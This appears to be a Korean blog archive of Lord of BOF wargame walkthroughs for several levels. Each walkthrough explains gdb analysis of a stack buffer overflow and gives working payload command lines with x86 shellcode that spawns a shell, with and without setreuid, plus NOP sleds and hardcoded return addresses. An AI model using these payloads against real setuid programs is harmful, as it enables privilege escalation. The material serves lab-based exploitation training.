지난번 orc->wolfman에서 argv[1]의 길이를 체크하는 부분이 더 생겼다.

이제 리턴의 뒷부분을 사용하는 방법으로는 문제를 해결할 수 없다.

또 어디에 입력값이 들어가있을까 생각하다가 argv를 사용하기로 했다.

먼저 tmp에 darkelf파일을 복사한 뒤 gdb로 열었다.

먼저 argv부분의 주소를 알기 위해 gdb로 실행시켜봤다.

strcpy를 호출하기 전 push edx, push eax로 인자를 전달하는데 순서상 먼저 스텍에 push 해주는 edx가 strcpy(buffer, argv[1])에서 뒤에 쓰여있는 argv[1]을 가르킬 것이다.

strcpy를 호출하기 직전까지 프로그램을 실행시키기 위해 main+237에 bp를 걸어줬다.

그다음 실행을 시켜줘야하는데 여러 체크루틴에 걸리지 않게 argv도 넣어주고 리턴 마지막 바이트에 \xbf도 넣어줘서 

r `python -c 'print "a"*47+"\xbf"'` 이런식으로 실행해줘야 한다.

어쨋든 실행을 시켜서 edx를 확인해보니 0xbffffc09이다.

해당부분을 열어서 실제로 a로 가득찬 부분이 있는것을 확인했다.

이제 저 a대신 쉘코드를 넣어주고 리턴주소를 0xbffffc09로 넣어줘서 해당주소로 점프시키면 될것이다.

argv[1]로 41바이트짜리 쉘코드와 주소 4바이트를 더하면 45바이트다. buffer가 ebp-40에 위치하므로 총길이 리턴주소까지 48바이트를 덮어쓰게 되는데 그러면 3바이트정도 여유가 있다.

따라서 앞의 3바이트를 nop으로 채워넣고 쉘코드+리턴주소로 페이로드를 작성했다.

./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x09\xfc\xff\xbf"'`

segmentation fault가 뜨며 실패했다.

이렇게 되는 이유는 실제 공격당하는 프로그램인 darkelf의 argv[1]과는 주소에 약간의 차이가 있기 때문이다.

gdb에서 실행하느냐 bash에서 실행하느냐에 따라서 조금씩 다르다.

프로그램 이름이나 경로에 따라서도 주소가 조금씩 차이가 났던것 같은데 정확히는 모르겠다.

우선 tmp에 복사해놓은 파일로 테스트해서 core dump가 생성되었으니 그걸로 분석을 해봤다.

gdb darkelf core 이런식으로 두번째 argv로 core파일명을 적어주면 프로그램이 종료된 시점에서의 메모리를 확인할 수 있다.

아까 리턴으로 점프시킨 0xbffffc09부분을 살펴봤더니 주소상의 차이때문에 4바이트 뒤로 밀린 0xbffffc0d부분부터 0x90이 시작되는 것을 확인했다.

이 주소로 리턴주소를 변경해서 페이로드를 다시 짰다.

./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x0d\xfc\xff\xbf"'`

위 페이로드로 실행시킨 결과 tmp가 아닌 darkelf 원본에서도 똑같이 공격이 성공했다. (주소 차이가 경로랑은 상관이 없는듯..?)

끝-

ps. darkelf파일의 이름을 darkel로 한바이트 줄여봤더니 쉘코드의 주소가 2바이트 밀리는 것을 확인했다. 파일명과는 확실히 상관이 있는듯.

goblin->orc와 변한게 거의 없다. buffer hunter라고 해서 버퍼의 안쪽만 memset해버리는데 이미 전에 orc를 풀때 buffer의 뒷쪽 부분을 사용해서 풀었었다.

혹시나 하고 같은 페이로드를 입력하니 바로 풀렸다.

끝-

ps.자세한 설명은 http://satanel001.tistory.com/84에..

드디어 egghunter가 적용됐다.

환경변수를 0으로 memset해버려서 더이상 환경변수에 쉘코드를 넣는 방식은 불가능하다.

하지만 LOB 서버의 경우 ASLR도 걸려있지 않고 아직 뒷쪽 버퍼를 사용하는 방식도 유효해서 크게 어려울것 같지는 않다.

이번에는 스텍의; 뒷쪽(리턴보다 높은주소)을 사용하는 방식으로 해보자.

디스어셈블 코드의 일부분이다.

코드가 많이 길어졌지만 여전히 call 위주로 보는 분석방법은 유효하다.

strcpy로 ebp-40의 주소가 들어가는것을 보니 buffer변수의 주소가 ebp-40임이 분명하다.

이제 리턴할 주소를 알아내야 하는데 안타깝게도 orc의 suid가 걸린 프로그램이라 gdb로 분석이 불가능하다.

tmp라는 폴더를 만들어준뒤 해당 폴더에 orc를 복사해줘서 goblin 권한으로 해당 프로그램을 가져왔다.

이제 gdb에서 동적분석이 가능해졌다.

먼저 스텍구조를 분석하기 위해 strcpy가 끝나고 돌아오는 지점인 main+194에 bp를 걸어줬다.

r `python -c 'print "a"*40+"bbbb"+"ccc\xbf"+"\x90"*1000'` 라는 입력으로 프로그램을 실행시켰다.

40개의 a가 buffer부분

bbbb는 SFP부분

ccc\xbf가 리턴부분인데 stack is still your firend가 나오며 꺼지는 것을 방지하기 위해 \xbf를 넣어줬다.

뒤에 \x90부분이 공격에 사용할 쉘코드를 넣을 부분이다.

같은 페이로드에 쉘코드를 붙여 리턴주소를 0xbffff730쯤으로 줘봤다.

./orc `python -c 'print "a"*40+"bbbb"+"\x30\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'

쉘은 떴는데 goblin 권한의 쉘이 떴다. 코드에 setreuid를 실행하는 부분이 없기 때문이다.

setreuiid를 포함하는 41바이트 쉘코드를 사용하면 해결할 수 있다.

./orc `python -c 'print "a"*40+"bbbb"+"\x30\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

성공!

끝-

이전 단계인 cobolt와 거의 똑같은 문제다.

이제야 눈치챘는데 하나씩 조건들을 추가하면서 위쪽 주석에 추가된 조건들을 표시해준다.

이번 문제는 stdin으로 페이로드를 집어넣을 수 있느냐를 묻는 문제인듯.

stdin으로  0x90 이런 형태의 16진수를 넣고 싶은데 키보드로는 입력할 수 없기 때문에 '|'(파이프)를 사용해야 한다.

파이프는 자신을 기준으로 왼쪽 프로그램의 stdout을 오른쪽 프로그램의 stdin으로 보내준다.

'|'(파이프)를 사용한 페이로드 작성 - http://satanel001.tistory.com/82

위 글에 파이프에 대해서 자세하게 설명해놓았다.

이 문제를 풀기 위해서 먼저 ebp를 기준으로 buffer 변수가 어디쯤 위치하는지 gdb를 켜서 확인해본다.

함수에 인자전달하는 부분을 보면 ebp-16부분이 buffer 변수의 시작점이라는 것을 알 수 있다.

그러면 리턴주소는 ebp+4지점에 있으므로 총 20바이트의 더미를 넣고 리턴주소를 덮어주면 되겠다.

먼저 환경변수에 쉘코드를 넣고 그 주소를 확인해보자.

쉘코드의 시작주소는 0xbfffd69e부분이다. nop 10000개에서 중간지점쯤에 떨구기 위해 5000정도를 더해주면 0xbfffea26을 리턴주소로 덮어주면 되겠다.

/tmp/getenv는 기본 프로그램이 아니라 환경변수 주소를 구하려고 직접 만든 프로그램이다. 착오가 없길...

계획대로 20개의 더미+쉘코드 주소를 파이프로 전달해서 쉘을 띄우는데 성공했다.

끝-

cobolt.c의 내용이다.

변한건 없고 버퍼의 크기만 줄어들었다. 여태까지 환경변수에 쉘코드를 넣고 사용했으니 버퍼가 줄어든다고 변하는 것은 없다.

버퍼가 ebp-16부분에 있는것을 확인한뒤

이런식으로 환경변수에 nop 10000개를 포함하는 쉘코드를 넣어주고

쉘코드의 주소를 알아낸 뒤 nop의 중간쯤 떨구기 위해 그보다 약간 높은위치로 리턴주소를 덮어썼다.

마찬가지로  a를 20개 넣어준것은 리턴의 위치가 ebp+4 부분이기 때문에 ebp-16부터 20개를 채워주고 리턴주소를 넣어준것.

중간에 한번 실패한것은 실수로 bash2를 사용하는것을 깜빡했다...

간단한 bof 문제이고 너무 많이 다뤄봤던 환경변수 이용 쉘코드 삽입이라서 그냥 한화면에 담아버렸다.

ebp-256인걸 위 gdb 화면에서 확인하고 환경변수에 쉘코드 넣어주고 주소구하고 

페이로드는 SFP 포함 260개 더미+(oxqo주소+0x1000정도)

혹시 방법이나 원리를 모른다면 http://satanel001.tistory.com/61 에 이것과 거의 똑같은 문제를 푼 풀이가 있으니 참고하면 되겠다.

끝-

ps.매우 중요한 내용인데 LOB를 할때는 반드시 bash2를 열어줘야한다. 안그러면 페이로드로 들어가는 내용중 0xff를 전혀 인식하지 못하므로 습관을 들이는 것이 좋겠다.

ps.telnet의 설정을 바꾸면 시작하자마자 bash2가 실행되게 할수도 있을것 같은데 root 비밀번호를 모른다..ㅋㅋ